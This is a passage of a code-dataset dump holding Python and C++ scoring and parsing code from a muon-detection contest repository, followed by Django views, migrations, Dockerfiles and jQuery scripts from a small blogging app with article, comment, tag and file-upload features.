Optional\n\n\ndef find_threshold_for_efficiency(a, e, w):\n if e < 0 or e > 1:\n raise ValueError(\"Efficiency e must be in [0, 1]\")\n\n # Decreasing order\n idx = np.argsort(a)[::-1]\n a_sort = a[idx]\n if w is None:\n w = np.ones(a.shape)\n \n w_sort = w[idx]\n ecdf = np.cumsum(w_sort)\n if (ecdf[-1]) <= 0:\n raise ValueError(\"Total weight is < 0\")\n\n target_weight_above_threshold = e * ecdf[-1]\n enough_passing = ecdf >= target_weight_above_threshold\n first_suitable = np.argmax(enough_passing)\n last_unsuitable_inv = np.argmin(enough_passing[::-1])\n\n if last_unsuitable_inv == 0:\n raise ValueError(\"Bug in code\")\n last_unsuitable_plus = len(a) - last_unsuitable_inv\n return 0.5*(a_sort[first_suitable] + a_sort[last_unsuitable_plus])\n\n\ndef get_rejection_at_efficiency_raw(\n labels, predictions, weights, quantile):\n signal_mask = (labels >= 1)\n background_mask = ~signal_mask\n \n if weights is None:\n signal_weights = None\n else:\n signal_weights = weights[signal_mask]\n threshold = find_threshold_for_efficiency(predictions[signal_mask], \n quantile, signal_weights)\n rejected_indices = (predictions[background_mask] < threshold)\n \n if weights is not None:\n rejected_background = weights[background_mask][rejected_indices].sum()\n weights_sum = np.sum(weights[background_mask])\n else:\n rejected_background = rejected_indices.sum()\n weights_sum = np.sum(background_mask)\n \n return rejected_background, weights_sum \n\n\ndef get_rejection_at_efficiency(labels, predictions, threshold, sample_weight=None):\n rejected_background, weights_sum = get_rejection_at_efficiency_raw(\n labels, predictions, sample_weight, threshold)\n \n return rejected_background / weights_sum\n\n\ndef rejection90(labels, predictions, sample_weight=None):\n return get_rejection_at_efficiency(labels, predictions, 0.9, sample_weight=sample_weight)\n\n\nrejection90_sklearn = make_scorer(\n get_rejection_at_efficiency, needs_threshold=True, threshold=0.9)\n\n\ndef cross_validate(model: ClassifierMixin, dataset: pd.DataFrame, cv=3) -> None:\n x = dataset.drop(\"label\", axis=1)\n y = dataset[\"label\"]\n\n skf = StratifiedKFold(n_splits=cv)\n \n train_scores = []\n test_scores = []\n for train, test in skf.split(x, y):\n train_x = x[train].values\n train_y = y[train].values\n train_weights = train_x.weight.values\n train_score = rejection90_sklearn(model, train_x, train_y, train_weights)\n\n test_x = x[test].values\n test_y = y[test].values\n test_weights = test_x.weight.values\n test_score = rejection90_sklearn(model, test_x, test_y, test_weights)\n\n train_scores.append(train_score)\n test_scores.append(test_score)\n\n\n train_mean = np.mean(train_scores)\n train_std = np.std(train_scores)\n test_mean = np.mean(test_scores)\n test_std = np.std(test_scores)\n\n print(\"Train score: {} (+/- {})\".format(train_mean, train_std))\n print(\"Test score: {} (+/- {})\".format(test_mean, test_std))\n\ndef create_submission(model: ClassifierMixin, test_dataset: pd.DataFrame, path: Optional[str]=None) -> None:\n prediction = model.predict_proba(test_dataset.values)[:, 1]\n submission = pd.DataFrame(data={\"prediction\": prediction}, index=test_dataset.index)\n\n if not path:\n submission.to_csv(\"sample_submission.csv\", index_label=utils.ID_COLUMN)\n else:\n submission.to_csv(path, index_label=utils.ID_COLUMN)\n" }, { "alpha_fraction": 0.618369996547699, "alphanum_fraction": 0.6270560026168823, "avg_line_length": 40.623077392578125, "blob_id": "5c913e71cd93a50b38ed9726b95a1f39f8686073", "content_id": "791252bea6d02dc7215c6f57d2d11647c02834f7", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 10822, "license_type": "permissive", "max_line_length": 142, "num_lines": 260, "path": "/experiments/track2_newfeatures/parser.cpp", "repo_name": "vkurenkov/muon-detection", "src_encoding": "UTF-8", "text": "#include \"./parser.h\"\n#include <cmath>\n\ninline bool not_number(const char pen) {\n return !isdigit(pen) && !(pen == '.') && !(pen == '-');\n}\n\nvoid skip_to_number_pointer(const char *& pen) {\n while ((*pen) && not_number(*pen)) ++pen;\n}\n\ninline float square(const float x) {\n return x*x;\n}\n\n// https://stackoverflow.com/questions/5678932/fastest-way-to-read-numerical-values-from-text-file-in-c-double-in-this-case\ntemplate<class T>\nT rip_uint_pointer(const char *&pen, T val = 0) {\n // Will return val if *pen is not a digit\n // WARNING: no overflow checks\n for (char c; (c = *pen ^ '0') <= 9; ++pen)\n val = val * 10 + c;\n return val;\n}\n\ntemplate<class T>\nT rip_float_pointer(const char *&pen) {\n static double const exp_lookup[]\n = {1, 0.1, 1e-2, 1e-3, 1e-4, 1e-5, 1e-6, 1e-7, 1e-8, 1e-9, 1e-10,\n 1e-11, 1e-12, 1e-13, 1e-14, 1e-15, 1e-16, 1e-17};\n T sign = 1.;\n if (*pen == '-') {\n ++pen;\n sign = -1.;\n }\n uint64_t val = rip_uint_pointer<uint64_t>(pen);\n unsigned int neg_exp = 0;\n if (*pen == '.') {\n const char* const fracs = ++pen;\n val = rip_uint_pointer(pen, val);\n neg_exp = pen - fracs;\n }\n return std::copysign(val*exp_lookup[neg_exp], sign);\n}\n\n// Warning: this is not a general-puropse parser, you have\n// std::istream for that. As a rule, in the interest of speed, it\n// doesn't check for input correctness and will have undefined\n// behavior at incorrect input\nclass BufferedStream {\n public:\n explicit BufferedStream(std::istream& stream);\n // Discards data from the stream until ecountering a digit, \".\" or \"-\"\n void skip_to_number();\n // Reads a float from the stream, starting from the current character\n // and has undefined behaviour if there is no number at the\n // current position\n template<class T> T rip_float() {return rip_float_pointer<T>(pen);}\n // Reads an unsigned integer from stream, starting from the\n // current character and has undefined behaviour if there is no\n // number at the current position\n template<class T> T rip_uint() {return rip_uint_pointer<T>(pen);}\n // Reads a vector of floats of the given size from the stream,\n // skipping everything as needed\n template<class T>\n std::vector<T> fill_vector_float(const size_t size);\n // Reads a vector of unsigned ints of the given size from the stream,\n // skipping as needed. In principle, should be templated from\n // fill_vector_float, but if constexpr is C++17 :(\n template<class T>\n std::vector<T> fill_vector_uint(const size_t size);\n // Reads count floating point numbers and stores them into the\n // container pointed to by the iterator\n template<class IteratorType>\n void fill_iterator_float(const IteratorType& iterator, const size_t count);\n // Discards data from the stream until encountering the delimiter\n void skip_to_char(const char delimiter);\n // Discrads data from the stream until twice encountering the delimiter\n void skip_record(const char delimiter);\n\n private:\n void next_line();\n // Buffer size is measured to fit the longest line in the test dataset\n // but the code doesn't rely on it\n static const size_t BUFFER_SIZE = 1016;\n char buffer[BUFFER_SIZE];\n std::istream& stream;\n const char* pen;\n};\n\nvoid BufferedStream::next_line() {\n stream.getline(buffer, BUFFER_SIZE);\n pen = buffer;\n}\n\nBufferedStream::BufferedStream(std::istream& stream): stream(stream) {\n next_line();\n}\n\nvoid BufferedStream::skip_to_number() {\n skip_to_number_pointer(pen);\n while ((*pen) == 0) {\n next_line();\n skip_to_number_pointer(pen);\n // The skip stops either at 0-byte or\n // a number part\n }\n}\n\ntemplate<class T>\nstd::vector<T> BufferedStream::fill_vector_float(const size_t size) {\n std::vector<T> result(size);\n fill_iterator_float<std::vector<float>::iterator>(result.begin(), size);\n return result;\n}\n\ntemplate<class T>\nstd::vector<T> BufferedStream::fill_vector_uint(const size_t size) {\n std::vector<T> result(size);\n for (auto& value : result) {\n skip_to_number();\n value = rip_uint<T>();\n }\n return result;\n}\n\nvoid BufferedStream::skip_to_char(const char delimiter) {\n while ((*pen) != delimiter) {\n while ((*pen) && (*(++pen)) != delimiter) {}\n if (!(*pen)) next_line();\n }\n}\n\nvoid BufferedStream::skip_record(const char delimiter) {\n skip_to_char(delimiter);\n ++pen;\n skip_to_char(delimiter);\n}\n\ntemplate<class IteratorType>\nvoid BufferedStream::fill_iterator_float(const IteratorType& iterator, const size_t count) {\n for (IteratorType value = iterator; value != iterator + count; ++value) {\n skip_to_number();\n *value = rip_float<typename std::iterator_traits<IteratorType>::value_type>();\n }\n}\n\nvoid ugly_hardcoded_parse(std::istream& stream, size_t* id, std::vector<float>* result) {\n // Special reader for the contest dataset\n BufferedStream buffered_stream(stream);\n\n // Read row id right away\n *id = buffered_stream.rip_uint<size_t>();\n \n // Read all row features before FOI\n buffered_stream.fill_iterator_float<std::vector<float>::iterator>(\n result->begin(), N_RAW_FEATURES - N_RAW_FEATURES_TAIL);\n\n // No need to skip, fill_vector takes care of it\n const size_t FOI_hits_N = (*result)[FOI_HITS_N_INDEX];\n const std::vector<float> FOI_hits_X = buffered_stream.fill_vector_float<float>(FOI_hits_N);\n const std::vector<float> FOI_hits_Y = buffered_stream.fill_vector_float<float>(FOI_hits_N);\n const std::vector<float> FOI_hits_Z = buffered_stream.fill_vector_float<float>(FOI_hits_N);\n const std::vector<float> FOI_hits_DX = buffered_stream.fill_vector_float<float>(FOI_hits_N);\n const std::vector<float> FOI_hits_DY = buffered_stream.fill_vector_float<float>(FOI_hits_N);\n buffered_stream.skip_record(DELIMITER);\n const std::vector<float> FOI_hits_T = buffered_stream.fill_vector_float<float>(FOI_hits_N);\n buffered_stream.skip_record(DELIMITER);\n const std::vector<size_t> FOI_hits_S = \\\n buffered_stream.fill_vector_uint<size_t>(FOI_hits_N);\n\n // Calculate closest hit for every station\n std::array<size_t, N_STATIONS> closest_hit_per_station;\n std::array<float, N_STATIONS> closest_hit_distance;\n closest_hit_distance.fill(std::numeric_limits<float>::infinity());\n for (size_t hit_index = 0; hit_index < FOI_hits_N; ++hit_index) {\n const size_t this_station = FOI_hits_S[hit_index];\n const float distance_x_2 = square(FOI_hits_X[hit_index] -\n (*result)[LEXTRA_X_INDEX + this_station]);\n const float distance_y_2 = square(FOI_hits_Y[hit_index] -\n (*result)[LEXTRA_Y_INDEX + this_station]);\n const float distance_2 = distance_x_2 + distance_y_2;\n if (distance_2 < closest_hit_distance[this_station]) {\n closest_hit_distance[this_station] = distance_2;\n closest_hit_per_station[this_station] = hit_index;\n (*result)[FOI_FEATURES_START + this_station] = distance_x_2;\n (*result)[FOI_FEATURES_START + N_STATIONS + this_station] = distance_y_2;\n }\n }\n \n /* [closest_x_per_station, closest_y_per_station, closest_T_per_station,\n closest_z_per_station, closest_dx_per_station, closest_dy_per_station]) */\n for (size_t station = 0; station < N_STATIONS; ++station) {\n if (std::isinf(closest_hit_distance[station])) {\n for (size_t feature_index = 0;\n feature_index < FOI_FEATURES_PER_STATION;\n ++feature_index) {\n (*result)[FOI_FEATURES_START + feature_index * N_STATIONS + station] = EMPTY_FILLER;\n }\n } else {\n // x, y have already been filled by the closest hit search\n (*result)[FOI_FEATURES_START + 2 * N_STATIONS + station] = \\\n FOI_hits_T[closest_hit_per_station[station]];\n (*result)[FOI_FEATURES_START + 3 * N_STATIONS + station] = \\\n FOI_hits_Z[closest_hit_per_station[station]];\n (*result)[FOI_FEATURES_START + 4 * N_STATIONS + station] = \\\n FOI_hits_DX[closest_hit_per_station[station]];\n (*result)[FOI_FEATURES_START + 5 * N_STATIONS + station] = \\\n FOI_hits_DY[closest_hit_per_station[station]];\n }\n }\n\n // Read left features (tail features are in fact right before FOI features)\n buffered_stream.fill_iterator_float<std::vector<float>::iterator>(\n result->begin() + N_RAW_FEATURES - N_RAW_FEATURES_TAIL, N_RAW_FEATURES_TAIL);\n\n // Closest hit to extrapolated position\n // Closest hit to matched hit position\n // Distance of the closest hit to the center;\n const size_t featuresPerStation = 6;\n for (size_t station = 0; station < N_STATIONS; ++station) {\n \n // Closest hit coordinates\n //const size_t closest_hit_ind = closest_hit_per_station[station];\n const float closest_hit_X = (*result)[FOI_FEATURES_START + station]; // How it should be: FOI_hits_X[closest_hit_ind];\n const float closest_hit_Y = (*result)[FOI_FEATURES_START + N_STATIONS + station]; // How it should be: FOI_hits_Y[closest_hit_ind];\n\n // Matched hit coordinates\n const float matched_hit_X = (*result)[MATCHED_HIT_X_IND + station];\n const float matched_hit_Y = (*result)[MATCHED_HIT_Y_IND + station];\n\n // Extrapolated hit coordiantes\n const float extra_hit_X = (*result)[LEXTRA_X_INDEX + station];\n const float extra_hit_Y = (*result)[LEXTRA_Y_INDEX + station];\n\n /* First coordinate - X */\n // Closest hit - matched hit\n (*result)[ADD_FEATURES_START + featuresPerStation * station + 0]\n = square(closest_hit_X - matched_hit_X);\n // Extrapolated - matched hit\n (*result)[ADD_FEATURES_START + featuresPerStation * station + 1] \n = square(extra_hit_X - matched_hit_X);\n\n /* Second coordinate - Y*/\n // Closest hit - matched hit\n (*result)[ADD_FEATURES_START + featuresPerStation * station + 2] \n = square(closest_hit_Y - matched_hit_Y);\n // Extrapolated - matched hit\n (*result)[ADD_FEATURES_START + featuresPerStation * station + 3] \n = square(extra_hit_Y - matched_hit_Y);\n\n /* Other distances */\n // Closest hit to center\n (*result)[ADD_FEATURES_START + featuresPerStation * station + 4]\n = sqrtf(square(closest_hit_X) + square(closest_hit_Y));\n // Matched hit to center\n (*result)[ADD_FEATURES_START + featuresPerStation * station + 5]\n = sqrtf(square(matched_hit_X) + square(matched_hit_Y));\n }\n}\n" } ]
5
defaultcf/pressto
https://github.com/defaultcf/pressto
a82ecfff18d7f2894841f2815772efe7b96f1e58
6fdf40ca2c5da9df8b898fede83c1fc7cdfa8dbd
3f46afe6c71c3c374e788faa1d618bf2a56521d0
refs/heads/master
2021-06-13T20:36:26.562825
2017-03-17T06:28:16
2017-03-17T06:28:16
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.684952974319458, "alphanum_fraction": 0.684952974319458, "avg_line_length": 26.7391300201416, "blob_id": "1b63404408398e03b4ffa1cd8481297a72440e2a", "content_id": "087e028d6ae8d639f51c52f3c808506ab29c04ec", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 638, "license_type": "no_license", "max_line_length": 57, "num_lines": 23, "path": "/app/myauth/views.py", "repo_name": "defaultcf/pressto", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom django.http import HttpResponse\n\nfrom django.contrib.auth.models import User\n\ndef login(request):\n return render(request, 'myauth/login.html')\n\ndef detail(request, username):\n user = User.objects.get(username=username)\n context = {\n 'user': user\n }\n return render(request, 'myauth/detail.html', context)\n\ndef setting(request):\n if request.POST:\n user = User.objects.get(pk=request.user.id)\n user.profile.nickname = request.POST['nickname']\n user.profile.bio = request.POST['bio']\n user.save()\n\n return render(request, 'myauth/setting.html')\n" }, { "alpha_fraction": 0.5111441016197205, "alphanum_fraction": 0.5111441016197205, "avg_line_length": 23.035715103149414, "blob_id": "3466fbb2ca3a4e770db42e9659dbc1fd7a826d99", "content_id": "1adf0508a1093af1da837c3960a7c76ead5f6468", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 673, "license_type": "no_license", "max_line_length": 52, "num_lines": 28, "path": "/app/static/article/create/tags.js", "repo_name": "defaultcf/pressto", "src_encoding": "UTF-8", "text": "$(() => {\n $('.chips').material_chip();\n $('.chips').on('chip.add', function(e, chip){\n console.log(tagsData());\n });\n $('.chips').on('chip.delete', function(e, chip){\n console.log(tagsData());\n });\n $('.chips').on('chip.select', function(e, chip){\n console.log(tagsData());\n });\n\n $('.chips-placeholder').material_chip({\n secondaryPlaceholder: 'Enter a tag',\n placeholder: '+tag',\n });\n});\n\n\nfunction tagsData() {\n let data = $('.chips').material_chip('data');\n let strTags = \"\";\n for(var i in data) {\n strTags += data[i].tag + \",\";\n }\n $(\"input[name='tags']\").val(strTags);\n return data;\n}\n" }, { "alpha_fraction": 0.5033556818962097, "alphanum_fraction": 0.5503355860710144, "avg_line_length": 23.83333396911621, "blob_id": "30f1c03ea89fe4fdb583a21a6d74a79a71d3817e", "content_id": "c1c28a77ea3a43a977781ef3677013e5b0873319", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 745, "license_type": "no_license", "max_line_length": 53, "num_lines": 30, "path": "/app/article/migrations/0002_auto_20170317_0429.py", "repo_name": "defaultcf/pressto", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# Generated by Django 1.10.6 on 2017-03-17 04:29\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('article', '0001_initial'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='comment',\n name='text',\n field=models.CharField(max_length=5000),\n ),\n migrations.AlterField(\n model_name='tirac',\n name='body',\n field=models.CharField(max_length=10000),\n ),\n migrations.AlterField(\n model_name='tirac',\n name='md',\n field=models.CharField(max_length=30000),\n ),\n ]\n" }, { "alpha_fraction": 0.7066666483879089, "alphanum_fraction": 0.7733333110809326, "avg_line_length": 24, "blob_id": "c5a4184a386acf12cd2671561f591fa815a5a6dc", "content_id": "6c032ceaf4058b2c1a74078f651691ce6f979d46", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 75, "license_type": "no_license", "max_line_length": 47, "num_lines": 3, "path": "/nginx/Dockerfile", "repo_name": "defaultcf/pressto", "src_encoding": "UTF-8", "text": "FROM nginx:1.11.10-alpine\n\nADD default.conf /etc/nginx/conf.d/default.conf\n" }, { "alpha_fraction": 0.5522279143333435, "alphanum_fraction": 0.5544192790985107, "avg_line_length": 30.837209701538086, "blob_id": "753bebaf8729aa7d287eef119c165e2df10689a8", "content_id": "7e25666fef747c3e68e9834d845222773c1079db", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1369, "license_type": "no_license", "max_line_length": 75, "num_lines": 43, "path": "/app/media/views.py", "repo_name": "defaultcf/pressto", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom django.http import HttpResponse\n\nimport uuid, os, json\nfrom .forms import FileUploadForm, IineForm\n\ndef index(request):\n return render(request, 'media/index.html')\n\ndef post(request):\n if request.method == 'POST':\n form = FileUploadForm(data=request.POST, files=request.FILES)\n if form.is_valid():\n ext = \".\" + str(request.FILES['file_source']).rsplit(\".\", 1)[1]\n filepath = str(uuid.uuid4()) + ext\n updir = '/mnt/static/files/' + filepath\n destination = open(updir, 'wb+')\n upfile = request.FILES['file_source']\n for chunk in upfile.chunks():\n destination.write(chunk)\n destination.close()\n res = {\n \"id\": request.POST['id'],\n \"name\": request.POST['name'],\n \"url\": '/static/files/' + filepath\n }\n resJson = json.dumps(res, ensure_ascii=False)\n return HttpResponse(resJson)\n else:\n print('invalid form')\n print(form.errors)\n return HttpResponse(\"sender\")\n\n\ndef iine(request):\n if request.method == 'POST':\n form = IineForm(data=request.POST)\n if form.is_valid():\n print(\"Success!\")\n else:\n print(\"Faild...\")\n\n return HttpResponse(\"Hello, Ajax!\")\n" }, { "alpha_fraction": 0.4759751260280609, "alphanum_fraction": 0.47823628783226013, "avg_line_length": 31.163637161254883, "blob_id": "295e880aa96d5800ac8a15467e21634e6ece8e31", "content_id": "79b4254ae34757d748983c5c41ee6383d274c922", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1769, "license_type": "no_license", "max_line_length": 88, "num_lines": 55, "path": "/app/static/article/detail/iine.js", "repo_name": "defaultcf/pressto", "src_encoding": "UTF-8", "text": "$(() => {\n /**\n * CSRF\n */\n function getCookie(name) {\n var cookieValue = null;\n if (document.cookie && document.cookie !== '') {\n var cookies = document.cookie.split(';');\n for (var i = 0; i < cookies.length; i++) {\n var cookie = jQuery.trim(cookies[i]);\n // Does this cookie string begin with the name we want?\n if (cookie.substring(0, name.length + 1) === (name + '=')) {\n cookieValue = decodeURIComponent(cookie.substring(name.length + 1));\n break;\n }\n }\n }\n return cookieValue;\n }\n var csrftoken = getCookie('csrftoken');\n function csrfSafeMethod(method) {\n // these HTTP methods do not require CSRF protection\n return (/^(GET|HEAD|OPTIONS|TRACE)$/.test(method));\n }\n $.ajaxSetup({\n beforeSend: function(xhr, settings) {\n if (!csrfSafeMethod(settings.type) && !this.crossDomain) {\n xhr.setRequestHeader(\"X-CSRFToken\", csrftoken);\n }\n }\n });\n //end of CSRF\n\n\n $(\"#iine\").on(\"click\", () => {\n let user_id = $('#user_id').html();\n let tirac_id = $('#tirac_id').html();\n console.log(\"user_id: \" + user_id);\n console.log(\"tirac_id: \" + tirac_id);\n var data = new FormData();\n data.append('user_id', user_id);\n data.append('tirac_id', tirac_id);\n $.ajax({\n url: '/media/iine',\n type: 'post',\n enctype: 'multipart/form-data',\n data: data,\n cache: false,\n processData: false,\n contentType: false\n }).done((res) => {\n console.log(res);\n });\n });\n});\n" }, { "alpha_fraction": 0.5451955199241638, "alphanum_fraction": 0.5573685765266418, "avg_line_length": 37.61000061035156, "blob_id": "c97e748b8e405211fa40558864ce8824fd297ce9", "content_id": "54808d04fa01999d71a69f478388254b3bd40c98", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3861, "license_type": "no_license", "max_line_length": 129, "num_lines": 100, "path": "/app/article/migrations/0001_initial.py", "repo_name": "defaultcf/pressto", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# Generated by Django 1.10.6 on 2017-03-17 02:25\nfrom __future__ import unicode_literals\n\nfrom django.conf import settings\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Comment',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('text', models.CharField(max_length=500)),\n ('audio', models.CharField(max_length=100)),\n ],\n ),\n migrations.CreateModel(\n name='Iine',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ],\n ),\n migrations.CreateModel(\n name='Score',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('title', models.CharField(max_length=100)),\n ('data', models.CharField(max_length=1000, null=True)),\n ],\n ),\n migrations.CreateModel(\n name='SetTag',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ],\n ),\n migrations.CreateModel(\n name='Tags',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('tagname', models.CharField(max_length=100, unique=True)),\n ],\n ),\n migrations.CreateModel(\n name='Tirac',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('subject', models.CharField(max_length=100)),\n ('body', models.CharField(max_length=1000)),\n ('md', models.CharField(max_length=1000)),\n ('header_img', models.CharField(max_length=100)),\n ('user', models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),\n ],\n ),\n migrations.AddField(\n model_name='settag',\n name='tag',\n field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='article.Tags'),\n ),\n migrations.AddField(\n model_name='settag',\n name='tirac',\n field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='article.Tirac'),\n ),\n migrations.AddField(\n model_name='score',\n name='tirac',\n field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='article.Tirac'),\n ),\n migrations.AddField(\n model_name='iine',\n name='tirac',\n field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='article.Tirac'),\n ),\n migrations.AddField(\n model_name='iine',\n name='user',\n field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL),\n ),\n migrations.AddField(\n model_name='comment',\n name='tirac',\n field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='article.Tirac'),\n ),\n migrations.AddField(\n model_name='comment',\n name='user',\n field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL),\n ),\n ]\n" }, { "alpha_fraction": 0.5433403849601746, "alphanum_fraction": 0.5487768054008484, "avg_line_length": 31.460784912109375, "blob_id": "25bc01e334ffa94f45f03fafbd22f7ef60e77d23", "content_id": "ef4707e45fe31f4f51cafbe9ae55b92343012e9c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3379, "license_type": "no_license", "max_line_length": 91, "num_lines": 102, "path": "/app/article/views.py", "repo_name": "defaultcf/pressto", "src_encoding": "UTF-8", "text": "from django.contrib.auth.decorators import login_required\nfrom django.shortcuts import render, get_object_or_404, reverse, redirect\nfrom django.http import HttpResponse\n\nfrom .models import Tirac, Tags, SetTag, Comment\nimport uuid, os\n\ndef index(request):\n tirac_list = Tirac.objects.all()\n context = {\n 'tirac_list': tirac_list,\n }\n return render(request, 'article/index.html', context)\n\n\n@login_required\ndef create(request):\n if request.POST:\n user = request.user\n subject = request.POST['subject']\n body = request.POST['body']\n md = request.POST['md']\n tag = request.POST['tags'].split(\",\")\n tag.pop()\n try:\n header = request.FILES['header_img']\n except KeyError:\n header = \"\"\n\n if subject and body and md:\n filepath = \"\"\n if header != \"\":\n ext = \".\" + str(header).rsplit(\".\", 1)[1]\n filepath = str(uuid.uuid4()) + ext\n updir = '/mnt/static/headers/' + filepath\n destination = open(updir, 'wb+')\n for chunk in header.chunks():\n destination.write(chunk)\n destination.close()\n\n tirac = Tirac(user=user, subject=subject, body=body, md=md,header_img=filepath)\n tirac.save()\n for t in tag:\n tags, created = Tags.objects.get_or_create(tagname=t)\n setag = SetTag(tirac=tirac, tag=tags)\n setag.save()\n context = {\n 'message': \"追加しました\"\n }\n return redirect(reverse(\"article:index\"))\n else:\n context = {\n 'error': \"必須項目が入力されていません\"\n }\n return render(request, 'article/create.html', context)\n\n return render(request, 'article/create.html')\n\n\ndef detail(request, tirac_id):\n tirac = get_object_or_404(Tirac, pk=tirac_id)\n return render(request, 'article/detail.html', {'tirac':tirac})\n\n\ndef comment(request, tirac_id):\n if request.POST:\n user = request.user\n tirac = get_object_or_404(Tirac, pk=tirac_id)\n text = request.POST['text']\n try:\n comment_audio = request.FILES['comment_audio']\n except KeyError:\n comment_audio = \"\"\n if tirac and text:\n filepath = \"\"\n if comment_audio != \"\":\n ext = \".\" + str(comment_audio).rsplit(\".\", 1)[1]\n filepath = str(uuid.uuid4()) + ext\n updir = '/mnt/static/audio/' + filepath\n destination = open(updir, 'wb+')\n for chunk in comment_audio.chunks():\n destination.write(chunk)\n destination.close()\n\n comment = Comment(user=user, tirac=tirac, text=text, audio=filepath)\n comment.save()\n return redirect(reverse(\"article:detail\", kwargs={'tirac_id':tirac_id}))\n\n context = {\n 'error': \"必須項目が入力されていません\"\n }\n return render(request, 'article/detail.html', context)\n\n\ndef tag(request, tag_name):\n t = get_object_or_404(Tags, tagname=tag_name)\n settags = SetTag.objects.filter(tag=t)\n context = {\n 'tagname': tag_name,\n 'settags': settags,\n }\n return render(request, 'article/tag.html', context)\n" }, { "alpha_fraction": 0.6777777671813965, "alphanum_fraction": 0.6944444179534912, "avg_line_length": 24.714284896850586, "blob_id": "aaf05cb5afd49652b0bb3eabf35d05bc62a4a785", "content_id": "b1b1959932f1caefc57863634b629dbc0c3581d2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 180, "license_type": "no_license", "max_line_length": 73, "num_lines": 7, "path": "/app/Dockerfile", "repo_name": "defaultcf/pressto", "src_encoding": "UTF-8", "text": "FROM python:3.6.0-alpine\n\nADD requirements.txt /\n\nRUN apk update && \\\n apk add --virtual builder --no-cache gcc postgresql-dev musl-dev && \\\n pip install -r requirements.txt\n" }, { "alpha_fraction": 0.7704917788505554, "alphanum_fraction": 0.7704917788505554, "avg_line_length": 29.5, "blob_id": "bbc56e2e6d96ba3c3249d14dbf61d48255ac9631", "content_id": "54eabba03940d7736e31add07ff8d11d7081218a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 122, "license_type": "no_license", "max_line_length": 54, "num_lines": 4, "path": "/app/app/views.py", "repo_name": "defaultcf/pressto", "src_encoding": "UTF-8", "text": "from django.shortcuts import render, reverse, redirect\n\ndef index(request):\n return redirect(reverse(\"article:index\"))\n" }, { "alpha_fraction": 0.5243567824363708, "alphanum_fraction": 0.5291595458984375, "avg_line_length": 27.028846740722656, "blob_id": "cd7657a2b36012cb35e59fd1a85ca8ecfd6491c5", "content_id": "e21d27dbbf12c9591543dd85d3ddc55f9bda991e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 5990, "license_type": "no_license", "max_line_length": 130, "num_lines": 208, "path": "/app/static/article/create/create.js", "repo_name": "defaultcf/pressto", "src_encoding": "UTF-8", "text": "$(function(){\nconsole.log(\"hello world\");\n\n/**\n * CSRF\n */\nfunction getCookie(name) {\n var cookieValue = null;\n if (document.cookie && document.cookie !== '') {\n var cookies = document.cookie.split(';');\n for (var i = 0; i < cookies.length; i++) {\n var cookie = jQuery.trim(cookies[i]);\n // Does this cookie string begin with the name we want?\n if (cookie.substring(0, name.length + 1) === (name + '=')) {\n cookieValue = decodeURIComponent(cookie.substring(name.length + 1));\n break;\n }\n }\n }\n return cookieValue;\n}\nvar csrftoken = getCookie('csrftoken');\nfunction csrfSafeMethod(method) {\n // these HTTP methods do not require CSRF protection\n return (/^(GET|HEAD|OPTIONS|TRACE)$/.test(method));\n}\n$.ajaxSetup({\n beforeSend: function(xhr, settings) {\n if (!csrfSafeMethod(settings.type) && !this.crossDomain) {\n xhr.setRequestHeader(\"X-CSRFToken\", csrftoken);\n }\n }\n});\n//end of CSRF\n\nmarked.setOptions({langPrefix:''});\n//------------------------------------------------------------------------------\n\nvar old = \"\";\n$('#writearea').keyup(function(e){\n var v = $(this).val();\n if(old != v){\n old = v;\n change_view();\n }\n});\n\n\nvar change_func = (function() {\n // 間引き間隔\n var interval = 200;\n // 最後に実行した時間\n var lastTime = new Date().getTime() - interval\n return function() {\n // 最後に実行した時間から間引きたい時間経過していたら実行\n if ((lastTime + interval) <= new Date().getTime()) {\n lastTime = new Date().getTime();\n // 